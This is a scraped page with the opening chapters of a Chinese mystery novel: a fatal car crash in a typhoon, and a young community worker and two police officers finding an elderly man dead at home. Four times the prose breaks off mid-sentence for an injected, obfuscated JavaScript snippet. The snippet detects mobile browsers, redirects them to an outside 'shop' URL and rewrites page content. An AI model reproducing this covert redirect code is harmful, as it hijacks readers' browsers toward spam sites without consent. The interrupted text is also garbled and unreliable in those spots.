《天使的罪恶》 2. 第一章 死祸(1) 二〇二五年,夏。 今年夏天,热得出奇,连续高温将整座城市炙烤得如同巨大的火炉,教人无法在户外多停留一秒,因而当今年的第一场台风登陆时,人们并不似防台防汛部门那样紧张,甚至生出些“终于来了”、“总算能凉快一点了”的期待。 坐落于浦江市闹中取静的梧桐区一幢商务别墅内,徐姗芷站在门厅前,抬腕看了一眼手表——八点整——又抬头看了一眼门外风雨渐起的天色。 徐姗芷剪利落短发,穿一身米色职业套装,一副银边半框眼镜将她的气质凸显得优雅沉稳,此时此刻她确认了时间后,打电话给司机:“汪师傅,吕总半小时分钟后用车,你可以过来了。” 电话那头司机汪师傅应道:“来了!来了!” 片刻后,穿着司机制服的汪师傅从别墅底楼雇员办公室里走出来,一边扣上最后一颗制服纽扣,一边隐忍地打了一个不明显的哈欠,又揉了揉鼻尖。 徐姗芷微笑,礼拜天还紧急将汪师傅从家里叫来,没睡醒也是可以理解的。 她伸手从摆放花瓶的门边桌上拿起一杯咖啡递给汪师傅,温和说道:“辛苦你休息天跑一趟,喝杯咖啡提提神。” 汪师傅接过沁凉的冰美式一仰头喝掉半杯,喟叹:“还是小徐你想得周到,简直救我老命!” 汪师傅快五十岁的人,替老板吕总开了二十年车,经验老道,但经验再老道,也奈何不了原定的休息日忽然临时加班导致的睡眠不足。 他又喝一大口咖啡,朝徐姗芷点头致意,“我去发车,把空调打冷。” 将几近喝完的咖啡纸杯放在门边桌上,汪师傅撑起一把插在门口青花筒瓶里的黑色长柄雨伞,推开门,一头冲进雨里。 别墅二楼隐约传来动静,徐姗芷再次抬腕看了一眼手表,八点零五分。过了一会儿,二楼有门扇开阖声、走动的声响、电梯运行的声音,次第响起。 当复古电梯的楼层指示针从二楼转向一楼,发出“叮”的一声脆响,电梯栅栏门向一侧拉开,吕总的生活助理潘凌志展开一条手臂,挡住栅栏门边缘,确保电梯门不会弹伸。 吕总自电梯内走了出来。 吕总四十出头年纪,生着一张圆润白皙的脸,梳着女强人惯有的齐肩微卷发,穿着珍珠白的衬衫,搭灰色开司米薄外套,配一条黑色阔腿裤,脚踩平底小羊皮芭蕾舞鞋,脚下生风,但气质上并不咄咄逼人。 吕总脚下生风,朝门边走来的同时,交代生活助理潘凌志:“小潘,你等一下提醒我打电话给囝囝,本来答应他陪一起看电影,我又失约,他一定不开心。” 潘凌志人精一个,迭声应承:“您放心,我一定不会忘!再说囝囝是多体贴人的性格?肯定不会怪您的!” 吕总被他说得一笑,对站在门厅处等着他们的徐姗芷点点头,潘凌志快步上前,替吕总拉开门,然后撑开伞,周到地护着她走进雨幕中,走向停在门前的总裁车。 徐姗芷在两人身后,拿上吕总指定的焦糖海盐咖啡,随手带上门。 锁舌卡进锁槽内,发出“咔哒”轻响。 待护着吕总坐进后座,潘凌志收了伞,也矮身坐了进去,徐姗芷伸手关上后座的车门,这才坐到副驾,扣上保险带。 吕总靠在真皮座椅上,微微阖了眼,问徐姗芷:“小徐,合同、证件可带齐了?” 徐姗芷打开随身携带的公文包,确认一遍,回复:“都带齐了。” “那就出发罢,”吕总做出决定,“先去西城别墅。” “好的。”汪师傅接到指令,将黑色总裁车驶离幽静的商务别墅。 徐姗芷习惯性地抬腕看表,八点十五分,比预计早十五分钟出发。 她反身将焦糖海盐咖啡递给潘凌志,潘凌志睇一眼正闭目养神的吕总,接过咖啡,将之放进杯架中,朝徐姗芷做了个“谢谢”的口型。 徐姗芷回过身去。 车外风雨已盛,台风挟裹着倾盆而下的大雨,将被高温炙烤了一个多月的城市笼罩其中,前挡风玻璃上的雨水如同一道水幕,隔绝车内与车外的世界。雨刮器不停地来回摆动,车内除了空调运转的细微声响,安静得仿佛能听见整个世界。 如此风雨之中,汽车驶出商务别墅区,驶离充满异国风情的梧桐区,驶上高架。当车子在匝道向上加速攀行的刹那,轻微的推背感令吕总睁开眼睛,她回了回神,对汪师傅道:“听一会儿财经新闻罢。” 汪师傅闻言,伸手打开车载音响,点击触屏,选择财新频道,将声音调至不轻不重的音量,继而专心将车驶上高架,由匝道汇入车流之中。 车厢内落针可闻的安静被八点半的财经早新闻打破,主持人字正腔圆地播报着早新闻的主要内容: “……国资委宣布……汽车集团挂牌……形成三大 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17290121|198492||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 央企汽车集团……房地产新政落地……多项调控措施密集落地……” 吕总听得哼笑,“房地产市场的狼终于来了。” 潘凌志顺势奉承道:“还是您有远见,不去蹚房地产的浑水。” 吕总伸手隔空点了点潘凌志,随后又阖上了眼睛。 汽车于狂风暴雨中在高架上疾驶,车内新闻主播浑厚的男中音播报:“……英荣集团董事长谢良信罹患重病,卸任集团董事长,并不再担任董事……经董事局投票,由其长子谢博崇接任……” “英荣主营业务是房地产罢?”潘凌志垂头看自己的手机,“在这个敏感的时候新旧管理层交替,英荣这是变天了啊。咱们同英荣没有合作吧?” “房地产行业再怎么变天,对我们的生意,也没有太大影响。”吕总自信地淡声道。 后座两人的低声交谈并未引起徐姗芷的注意,她的注意力尽数被司机汪师傅所吸引。 从驶上高架起,汪师傅的状态便有些奇怪。车内气温二十五度,坐在驾驶座上的他却一直不停出汗,一双搭在方向盘上的手在微微颤抖。 台风暴雨天在高架上行车,需要精神高度集中,徐姗芷不想贸然开口分散汪师傅的注意力,所以只是关注着他的状态,打算必要时开口提醒他是否需要在应急车道紧急停车。 徐姗芷内心闪念的工夫,一处陡弯近在眼前,本该减速过弯的汪师傅此时脸色煞白、嘴唇青紫,整个人失去意识向前趴伏在方向盘上,汽车失去控制,加速朝高架护栏疾驶而去。 “汪师傅!”徐姗芷惊呼一声,倾身过去,试图扶住方向盘,调转车头方向,但为时已晚,安全带也限制了她的行动,她只能眼睁睁地看着世界颠倒翻复。 总裁车车轮贴着弧形基座的护栏飞速碾过,车身腾空,冲出护栏,车身重重砸向高架下的水泥路面,在狂风暴雨中发出一声金属冲击地面的巨响。 大雨不断冲刷路面,翻覆的总裁车一侧砸在坚硬的水泥地面上,砸出一个碎裂的凹坑,雨水迅速汇成一个小水塘,雨刮器仍忠实地执行着它的任务,在一角向外碎裂成蛛网状的前挡风玻璃上来来回回地刮擦着,车载音响里仍断断续续播报着财经新闻。 雨水无情地打在车身上,仿佛要洗去一切存在过的痕迹。 远远传来汽车刹车声,车门开关声,嘈杂的人声,渐渐掩盖了总裁车内最后的声息。 3. 第一章 死祸(2) 台风来得快,去得也快。 第二天,雨住风歇,整座城市恢复日常秩序,人们上班的上班,上学的上学,苏予陌也不例外。 清晨六点半,外头已天光大亮,一线预示着又是一日晴热的光,透过窗帘缝隙,落在室内单人床上。 闹钟响过一回,蜷在夏凉被之下的予陌伸出手来,胡乱在床头柜上摸索,迷迷糊糊地将“叮铃铃”作声的手机按成静音模式,便又缩回被子里,继续好眠。 楚爱珍走进女儿卧室,看见她还在睡懒觉,顿觉头疼,三步并作两步,走到窗前,“唰”一声,左右拉开窗帘,任光线一下子明晃晃洒满整个房间。 一片光印在脸上,予陌发出一声懊恼的呻吟,抗议:“妈!” “妈什么妈?”楚爱珍坐到床沿上,拍一拍女儿露在被子外头的小腿,“苏予陌,好起床了!” 予陌艰难地睁开双眼,看向一清老早已穿得山青水绿的母亲,“我昨晚半夜一点才睡啊,妈!” 昨天一场豪雨,小区排水系统经受考验,虽然应聘居委会干事成功的她还未正式到岗,但所有人都处在待命状态,她一颗心也跟着揪紧,直到凌晨一点解除暴雨预警,才得以睡觉。 “你好意思讲的。”楚爱珍向女儿投去恨铁不成钢的眼风,“快起床罢,今朝第一天上班,不好迟到。” 随后站起身来,“我去买早点,你想吃什么?” 予陌抓一抓乱蓬蓬的短发,“我要吃小宁波家的咸大饼,配一根油条,一杯甜浆。” 楚爱珍笑起来,摸摸女儿炸毛的头顶,“那你抓紧洗漱,打扮得漂亮点,领导、同事的第一印象很重要。” 说罢走出女儿卧室,出门买早点去了。 予陌磨磨蹭蹭又在床上捱了一刻钟,终于半醒,起床去浴室洗脸刷牙。 盥洗台上方镜子里,映出她顶着睡一夜蓬松散乱短发睡眼惺忪满嘴泡沫的脸,她蹙眉吐舌,镜中人还以她一个丑兮兮的鬼脸。 她垂下头,吐掉牙膏泡沫,放下漱口杯,捧起一抔凉水,扑在脸上,总算一扫睏势懵懂的睡意,彻底醒了过来。 擦干脸上水珠,予陌取过一罐珍珠银耳霜,拧开盖子,挖出指尖大一坨,点在额头、两颊、下巴上,均匀涂抹开,一股从小闻到大的香气瞬间充盈鼻腔,为一日之始带来愉悦心情。 予陌嘴里哼着儿歌“我有一头小毛驴,我从来也不骑”的调子,回卧室挑选母亲定义的“漂亮点”的衣服。 她辞职在家,赋闲半年,平素不是卫衣配运动裤,就是T-shirt配牛仔裤,于在家都打扮得一丝不苟的楚爱珍眼中着实不修边幅。 为教母亲少念叨她两句,予陌乖乖挑出一件廓形白衬衫,搭配一条浅色窄管牛仔裤,另选一根宝蓝色真丝长巾当做腰带。 楚爱珍挽着买早点的扁竹篮回到家,推开门,一眼看见已经打扮停当的女儿正站在客厅一角为她养了七、八年的老桩八宝树浇水,先是为她清新利落的打扮满意,随后一声惊叫,将早点篮往饭桌上一墩,冲过去扯开女儿。 “你用的什么水?!”楚爱珍问。 “自来水啊……”予陌老实回答。 “要死了!浇花不好用自来水的!雨水最佳,洗米水次之。”楚爱珍一把夺过女儿手里的铅皮小水壶,“去去去!吃你的早饭去!懂么不懂的,瞎胡搞!” 予陌汗笑,她心血来潮浇一回,竟犯了母上的忌,作孽。 坐到八仙桌边吃早点,层层起酥的咸大饼,对折夹上一根炸得金黄酥脆的油条,吃到嘴里,油酥带来的酥松口感和面粉发酵后经过高温油炸所带来的丰富油脂香气,教人为之倾倒。 “碳水炸弹使我快乐!”予陌喝一大口甜豆浆,感叹。 七点半,楚爱珍看一眼客厅墙上的石英钟,催促女儿:“动作快点,你好去上班了!” 予陌慢吞吞从八仙桌前起身,喝光最后一口甜豆浆,进浴室漱口,对着镜子龇牙咧嘴,确保牙缝里没有嵌着芝麻粒,这才到门口换上小白鞋,正式准备出门上班。 “叫你快一点,偏偏要同我做对。”楚爱珍白女儿一眼,递过去一只草编马鞍包,“钥匙、手机都给你放在里面了。” “哎呀,我走过去十分钟都不要,去那么早做什么啦?傻傻等开门吗?”予陌接过充满清新夏日气息的草编小包,往肩头一背,“谢谢妈妈!没有你我可怎么活?” 楚爱珍啐了一声,“心里不知道多嫌我啰嗦。” 予陌“嘿嘿”笑,拉开防盗门,下楼,背后传来楚爱珍的殷殷叮嘱:“下楼梯慢点,不要着急忙慌。” “刚刚不晓得谁叫我快一点的。”予陌嘀咕。 “你说什么?!”楚爱珍音调升高。 “没说什么!”予陌回身朝母亲摆摆手,飞快下楼。 七点四十,楼下已是一日当中最热闹光景。 送孩子上幼儿园的、上学的、上班的、锻炼身体的、出门买菜的人流叠加,与机动车、非机动车一起,将苏河苑本就不算宽敞的主干道挤得满满当当。 予陌走出去不到十步,被两位早起练习木兰剑的阿姨联袂拦住去路。 “哦哟,小陌今天打扮得来山青水绿,要到哪里去啊?”一头橙发穿玫瑰红练功服的阿姨拍一把予陌的肩膀,问。 “赵阿姨,早!”予陌言简意赅,“我去上班。” “小陌寻到工作啦?”头发盘在脑后,一身湖水绿色练功服的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17290122|198492||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 阿姨恭喜予陌。 “谢谢白阿姨!”予陌客气道谢。 “新工作哪里上班啊?”赵阿姨打听。 予陌遥遥朝党群活动中心方向一指,也没打算隐瞒,“居委会。” “居委会?”白阿姨听得眼睛一亮,“居委会好啊,下次我们有什么事情,就到居委会找你反映!” 赵阿姨闻言一把拉住予陌的手,“小陌今年也二十五了罢?有没有男朋友?阿姨家里有个侄子,年纪同你相当,你们年轻人有空一起出来吃饭看电影啊!” 予陌被赵阿姨这心血来潮的安排打个措手不及,只好假意翻了下手腕,将手表展示给赵阿姨看,“我第一天上班……” 予陌家所在的这片回迁安置房,最大特色就是左邻右舍都是从前老城厢低头不见抬头见的街坊,穿围兜叼奶嘴的时候阿姨爷叔就认识她了,像赵阿姨、白阿姨这种曾经与楚爱珍在一个公用厨房里烧饭做菜的老邻居,予陌总不好同她们甩脸色。 赵阿姨忙不迭放开手,“对对对!第一天,要给领导留一个好印象!快去、快去!” 予陌同两位阿姨道别,赵阿姨尤不放弃,在她背后扬声道:“小陌,记得啊!” 予陌敷衍地点了点头,健步如飞地往居委会去。 居委会已经开了门,室内空调徐徐送着凉风,令得推门而入的予陌舒适地叹了口气。 有人听见响动,从里间的办公室里走出来,看到予陌,笑起来,同她打招呼:“小苏来啦?来得正好!今天可有不少活儿要干。” “好的,吴主任。”予陌应道。 看吴主任抽一张湿巾出来,一张挨一张擦拭办公大厅的桌子,予陌忙下自己包,一边腹诽母亲楚爱珍女士挑的包意头不好,明晃晃一个“草包”,一边去墙角取过扫帚畚箕,打扫看起来就一尘不染的地面。 将要八点半的时候,苏河苑第一居委会的所有人员到齐,天生一张笑脸的吴主任在早会上进行简短的上周工作小结,做了本周工作计划,最后向大家介绍新应聘入职的社区干事苏予陌。 “欢迎小苏加入我们!”吴主任带头鼓掌。 早会结束后,予陌跟着副主任进行了简单的工作交接,听四十出头的中年人慢悠悠给她打预防针: “社区工作看起来都是些鸡毛蒜皮的小事,但切实做起来,那真是千头万绪,琐碎繁杂。小苏你有这个为社区服务的热情,愿意投入到工作中来,是好事,但你也要做好打硬仗、啃硬骨头的心理准备。” 予陌点头如捣蒜:“我一定向老师们好好学习,多多取经。” 副主任见她受教,满意地点点头,在给她安排好办公桌后,亲自带她去她负责的社区网格实地了解情况。 4. 第一章 死祸(3) 予陌入职的苏河苑一居委,位于苏河苑小区一期,属于当时这一地块拆迁后建起的回迁房,悉数为六层楼高的多层住宅,房型老,没电梯,业主多为二〇〇〇年后苏河两岸棚户区拆迁在外过渡数年回迁的居民,人员构成同苏河苑二期、三期商品房截然不同。 副主任领着予陌在她负责的四百户居民所在楼栋之间穿行,大致向她介绍了这些楼栋的状况,最后将予陌引至一处分类垃圾房前,微微苦笑着站定,对予陌道:“这就是你的前一任网格员在我们居委会干不长辞职的原因之一。” 盛夏季节,分类垃圾房难免有异味传出,即使隔着一片特意种植作为隔离带的灌木丛,也能闻见一阵又一阵的怪味。 副主任掩住自己的口鼻,对予陌道:“这样的垃圾房小区里一共有四处,当时为了选址,费了好一番功夫,哪片楼的居民愿意自己家正对垃圾站啊?” “居民们的心情可以理解,居委会的工作确实需要得到他们的认同。”予陌表示大家都辛苦了。 “其实你这一网格最难的还不是这些,”副主任带着予陌绕过垃圾房往后头走,“难的是这家……” 建成“凹”字型的垃圾房后面,矗立着一幢看起来年代久远的低矮二层自建房,隐藏在高挑宽大的垃圾房和挺拔茂密的乔木林之间,教人很难注意到。 “我看你的资料,家就在我们小区,想必也知道我们小区的这个历史遗留问题。”副主任坦言,“就是因为这户人家,多少工作能力出色的网格员都不愿意留在我们居委会。” 予陌倒真知道一些。 苏河两岸棚户区拆迁的时候,她年纪小,尚不记事,等回迁房建好,摇号拿房,装修完毕入住,她已经读小学了,大人讲话有时候并不懂得避着她那个年纪的孩子,七嘴八舌谈起过小区里有家钉子户,死守着自建的两层破房子不走,坚决不肯拿钱腾退,开发商最后没有办法,只能在那破房子四周种了一圈树,围起来眼不见为净。 不过予陌家所在的楼栋与这边处在小区南北对角,小时候没事也不会像小区里的调皮大王在小区里到处疯跑,所以在此之前,对这家传说中的钉子户,并没有实质上的概念。 直至此时此刻。 副主任正要继续向予陌介绍情况,就远远望见吴主任陪两个身着夏季警服的人从另一头走了过来。定睛一看,副主任笑起来,领着予陌迎向三人。 “老萧今天怎么有空过来啊?”副主任上前与头发花白的警察握手。 “我马上就要退休了,这不是要把手头的工作交接给年轻人嘛!”警官老萧将站在他身侧的年轻警察介绍给副主任,“这是我们所新来的小岳,岳持默。我今天带他到小区里四处转一转,以后就由他接替我负责苏河苑一期的警民联系工作了。” 予陌抬头看向身形挺拔的岳持默。 他生得极高,身材健硕,一件穿在老萧身上显得松松垮垮的夏季浅蓝色警服,穿在他身上,显出一种蕴含爆发力的服帖挺括感,浓密黑发剃成只比贴头皮长一点点的圆寸,饱满额头下是一双剑眉和锐利深邃的眼,只是左眼眼下横至眼尾的一条伤疤,破坏了这张俊美面庞上的英气,教人无端觉得惋惜。 他人如其名,沉默地朝副主任和予陌点点头。 “哎呀,巧了不是!”副主任笑呵呵地将予陌让到两人跟前,“我也正带刚入职的小苏来熟悉情况。哦唷,这两个人的名字——予陌、持默……” 见副主任有跑题之嫌,吴主任忙轻咳一声。 “看我!刚才说到哪里?”副主任连忙轻拍一下自己的额头,自问自答,“哦哦,对了,讲到老沈家的问题。” 在场除了予陌和岳持默,其他三人都露出复杂的表情。 老萧叹一口气,“我带小岳过来,也是想教他认一认老沈家的门,了解一下老沈的事,以后有什么情况,能及时处理。” 在苏荷苑一期做社区民警工作逾十年的萧警官转头对岳持默道:“沈家的事,比较复杂,我先说我了解的这部分。” 坚守棚户楼不肯搬迁的,是一对失独夫妻,丈夫姓沈,妻子姓刘,夫妻二人于二〇〇〇年春节期间向派出所报案,说女儿沈佳蕙失踪,但经当时派出所接警民警的后续调查,沈佳蕙只是未听从父母对她的安排留在本地当幼儿园老师,而是签约一家模特经纪公司,前往港城等地参加服装走秀,还曾向家中邮寄信件、包裹,派出所方面就做了销案处理。 “但二〇〇一年春节前,沈家夫妻再度前往派出所,报女儿失踪,因有过上一次报案留下的记录,接警的民警安抚二人后,对沈佳蕙的去向做了调查。”老萧抹一把脸,“辗转联系沈佳蕙签约的经纪公司,得知她在二〇〇〇年底与公司解约,脱离公司,滞留港岛,公司并不清楚她具体的去向。当时我们公安机关与港城警方协作机制并不完善,秉持互不干预对方执法的原则,我们也只能等待港城警方能给出调查结果。但——” 老萧将目光投向淹没在树荫中的老旧棚户楼,语气里是深深的无奈:“港城警方一则认为沈佳蕙是成年人,且未有证据表明她受人胁迫离开,二则沈佳蕙此前曾向家中邮寄钱款物品,因而并不能认定失踪,也许只是成年子女不愿再与父母联系。” “这说的是什么话?!”副主任脱口而出。 吴主任再度轻咳,示意他别激动。 老萧看一眼身旁微微凝眉的岳持默,继续道:“沈家夫妻当然不认同这个结论,坚持认为女儿失踪,甚至两度赴港寻女,但都无功而返。” 予陌听到这里,推己及彼,不敢想象沈家夫妻是怎样痛不可挡的心情。 “夫妻二人一直没有放弃对女儿的寻找,这些年来辗转多地,试图联系上当年与沈佳蕙一道签约模特经纪公司并一起前往港城工作的同事,以了解女儿当年滞留港城的真相。”老萧挠了挠被阳光晒得发热的头皮。 一直默不作声的岳持默忽然问:“他们一直没有申请宣告死亡?” “小伙子很机敏嘛!”老萧拍拍岳持默的肩膀,“你说得没错,沈家夫妻二十四年来从未有一日放弃过对女儿的寻找。一旦他们找到一点有用的信息,就会到派出所找负责民警。我前任负责此案的警官已经退休,我也马上要退休。” 老萧看着面前高大英挺的岳持默,“等我退休,你就要负责这片小区的警民联系工作,如果他们来找你,对他们有耐心些。等一下我带你去认个门,当面把工作交接的事告诉老沈。” 说罢,他看向吴主任,“其他情况你比我了解,你同小岳说。” 天生一张笑脸的吴主任闻言,也不由得现出一点愁色来。 “沈家坚持不愿从棚户楼拆迁,说起来也同女儿失踪有关。两位老人总怀抱一线希望,女儿哪一天能平安归来,他们怕搬走了,家里的房子拆了,万一在此期间女儿回来,找不到自己的家怎么办?可怜天下父母心啊!”吴主任叹息一声,对予陌道,“除此以外,还有一个情况,小苏你要有心理准备。” 予陌内心里已经做好了面对更坏局面的打算,“主任,您讲。” “老沈和他爱人刘阿姨,为了收集一切可能和女儿有关的资料,养成了囤积杂物的习惯,这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17290123|198492||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 二十多年来的报纸、杂志、信件等所有他们认为有用的物品,他们一件都没有丢弃,统统堆积在家里,由此产生的卫生问题与火灾隐患,我们居委会、派出所和消防部门都曾上门进行过宣讲和教育,但收效甚微。”吴主任同老萧对视一眼。 老萧向予陌点点头,表示吴主任所言不虚。 “前两年,老沈的爱人刘阿姨确诊阿尔茨海默症,病情恶化很快,刘阿姨生活已经无法自理,经过我们再三劝说,老沈才同意将刘阿姨送到养老院由专人照料,但他自己仍坚守在这座棚户楼里。”吴主任对给予陌一个鼓励的微笑,“作为负责这一块的网格员,你除了负责相应的事务外,还需每天来确认一下老沈的状态。” 副主任接口道:“因为女儿失踪,加之刘阿姨失智的打击,老沈的性情有些怪异,不愿让人接近,所以这项工作不太好做,有网格员甚至被他骂哭过。” “听起来确实是块难啃的硬骨头啊……”予陌嘀咕,随后对上岳持默深沉的注视,下意识地冲他露出一个同病相怜的苦笑。 吴主任一挥手,“今天正好碰上,小岳、小苏就一起到老沈家认个门、认认人罢,以后你们说不定也需要相互配合工作。” 几人忍着垃圾房散发出来的异味,向看起来摇摇欲坠的棚户楼走去。 老旧的自建楼外墙斑驳,门外杂草丛生,只有经常进出的那条路铺着些早已看不出原本颜色的地砖,昭示着时间的久远。 一行人停在自建楼前,副主任压低声音对予说:“你的工作是每天早晚两次来确认一下老沈的情况,看看他是否在家,身体状况如何,燃气安全与否。” “老沈脾气不太好,如果他对你态度差、讲话冲,小苏你别放在下心上。”吴主任补充。 予陌面上乖乖点头称是,内心有“泪流满面”表情包滚过来滚过去。她忍着心中忐忑眼神游移,却再度对上岳持默的视线,不知是否错觉,竟在他眼里看见一闪而过的笑意。 已经装乖一早的予陌忍不住瞪他一眼,笑什么笑?! 岳持默撇过头去。 三位老法师没有注意两个小朋友之间的眉眼官司,正在沈家门口商量,由谁去当今日的急先锋,迎接可能的疾风暴雨,最后决定由与老沈接触时间最长的老萧去叩门。 予陌在后头看得目瞪口呆。 这位沈老先生如此刺头吗?竟然令得居委会主任、副主任觉得棘手,以至于多少有些推拒之色。 老萧倒没太大意外,上前两步,去敲那扇被岁月侵袭得漆水剥落的木门。他敲门有自己的节奏,一长,两短,重复两次。 屋内隐隐有人声传来,却不见有人前来应门。 老萧略略加重手上力道,又敲了一次门,但仍未得到屋内人的回应,不由得提高了声音唤了一声:“老沈在家吗?我是老萧!” 但明明有着人声的屋内却始终无人应答。 老萧蹙眉,转头看向吴主任,吴主任又看向副主任。 “最近老沈情况如何?”吴主任问。 副主任有些迟疑,“小汤辞职,小苏今天才入职,期间由志愿者过来查看……” 沈家的情况明摆在这里,夫妻俩因故变成钉子户和令人讨厌的囤积狂,日常出门小区居民看到夫妻二人都要掩面退一射之地的程度,志愿者敷衍马虎,实在是意料之中的事。 老萧没有追问,只取出手机,拨打沈家的电话。 老沈大抵是怕错过来电,所以电话铃声调得老响,在屋内响了良久,也无人接听。 老萧神色倏地一沉:“不对!” 5. 第一章 死祸(4) 他涉过将要及膝的杂草丛,凑到底楼厨房满是油污的窗前,寻到玻璃上一处污渍没那么重的地方,双手搭在太阳穴两侧,定睛往幽暗的室内望去。 看了一会儿,他朝后伸手,招岳持默过去,“小岳,你眼神好,你来看看。” 一直沉默如山的岳持默,在这一刻,仿佛被激活。 他迈开长腿,踩着老萧在草丛里留下的脚印,像一头潜行的猎豹,安静又蕴含力量,同样凑到厨房窗前,朝内观察,随后他向老萧微微点了点头。 “等消防员来破拆恐怕太迟……”老萧沉吟一息,便做出决定,“小岳,你拨打急救电话,我来破门。” “师傅,我来。”岳持默拦住老萧。 “你的肩膀……”老萧迟疑。 “没事,我用另一边。”岳持默微笑。 两人一个走出草丛去拨打急救电话,一个走到棚户楼门前,观察门户结构。 予陌茫然地看着吴主任、副主任循着两位民警踩倒的杂草,一道凑到那油腻腻的厨房窗户前朝里头张望,然后又叫她过去,“小苏。” 予陌看一眼雨后显得湿漉漉的泥泞草地,很想问我可以不去凑这个热闹吗?但还是老老实实地走了过去,在两位主任侧身让位给她时,将眼睛凑到那整片被油污沾染的玻璃上唯一相对干净的地方,往里头张了一眼。 老旧的自建棚户房楼层低矮,显得室内逼仄压抑,透过堆满杂物的厨房望出去,予陌在光线幽暗的厨房通往另一边房间的过道上,勉强看见一只横在地上的脚,一动不动。 予陌听见吴主任和副主任在低声交谈。 “你看见了吗?” “看见了。” “我没看错吧?” “没看错,不信你问小苏。” “小苏?”两人齐齐望向予陌。 予陌还没来得及回答,眼角余光先瞥见岳持默稍稍后退两步,吸一口气,蓄力,然后猛地提速,侧身撞向老旧的木门。 门在他的撞击下轰然向内打开,户外的光线朝室内涌了进去,落在躺倒地的老人身上。 “都别进来!”岳持默醇厚的嗓音带着一点冷意响起。 予陌木愣愣随着吴主任和副主任退离窗边,走出草丛,站在门外向里头张望。 老旧的木门洞开着,门口通往内室的走廊两边堆着一摞又一摞陈年报刊杂志,堆得几乎要贴到天花板,令本就不宽敞的走廊更显狭窄,一股陈腐的霉味掺杂着说不清道不明的酸腐味道散逸出来,原就不太隔音的房子里传出新闻广播的声音: “……发生重大交通事故,驾驶员与乘客在内四人,两人当场死亡,一人经抢救无效死亡,一人重伤……交警部门提醒广大驾驶员,注意天雨路滑,缓速慢行,道路千万条,安全第一条……” 予陌在各式嘈杂的声音中注视着身材高大的岳持默单膝跪在倒地不起的老人身侧,伸手触碰老人颈侧,又翻开老人的眼皮查看,随后站起身,退了出来。 “老沈怎么样?”打完急救电话回来的老萧问。 岳持默摇了摇头,老萧的心情一下子沉重起来。 不多时,救护车也在保安指引下赶到现场,进屋查看老沈的情况后,对在场所有人宣布:“已经失去生命体征。” 吴主任与副主任到底工作经验丰富,一人送急救车随车医护人员离开乱哄哄的现场,一人拍怕予陌肩膀,关心道:“小苏,你没事罢?” 予陌内心乱糟糟,垂头盯着小白鞋鞋尖沾着的泥水,呆呆想:入职第一天,就遇上独居老人去世这样的事,算不算开局不利? 副主任见小朋友眼神空茫,晓得她情感上受了冲击,轻喟一声,安慰道:“社区工作做得久了,你就晓得了,人生在世,生老病死,再寻常不过。工作中既要有共情能力,也要学会自我排解。” 他把予陌朝旁带了带,给接到老萧消息后赶来的民警们让道,并在她背后推了一把,“人眼看越围越多,去帮吴主任维持一下秩序。” 予陌抬眼望去,果然小区里那些不用上班的阿姨、爷叔还有早上过来倒垃圾的居民看见又是救护车又是警车开进来,口耳相传,渐渐聚过来围观。 予陌打起精神,上前去与吴主任一道,配合民警们,请聚拢围观的居民们往后退,避免影响民警工作。 有好事的围观群众踮起脚尖朝予陌身后的棚户房张望,议论纷纷。 “疯老头子出事啦?”有人问。 “好像是的,救护车和警车都来了。”有人答。 “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17290124|198492||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 自从他老婆脑子不好以后,我就料到他撑不久。”有人事后诸葛。 “那这破破烂烂的房子是不是可以拆掉了?一直不拆,影响小区环境,影响房价。”有人冷漠现实。 予陌一边维持现场秩序,竭力冷却吃瓜群众的围观热情,一边回头看向堪比危楼的棚户房,思及一条生命的逝去,在不相干的人眼里,不过是可供议论的谈资,心里便说不上来是什么滋味。 逼仄的棚户房中,辖区派出所刑侦中队两位刑警与提供技侦支持的刑侦大队技侦警察先后赶到现场。 技侦警察勘验现场、提取样本时,刑侦中队的两位刑警先向最先到达现场的老萧和岳持默询问具体情况。 老萧大致将自己带新到派出所将要接手他辖区警民联系工作的岳持默来小区熟悉情况的事说了,然后指了指身后的老房子,“我和小岳通过厨房窗户向内查看,发现死者倒在地上,无法确知情况,小岳当机立断,决定破门救人。” 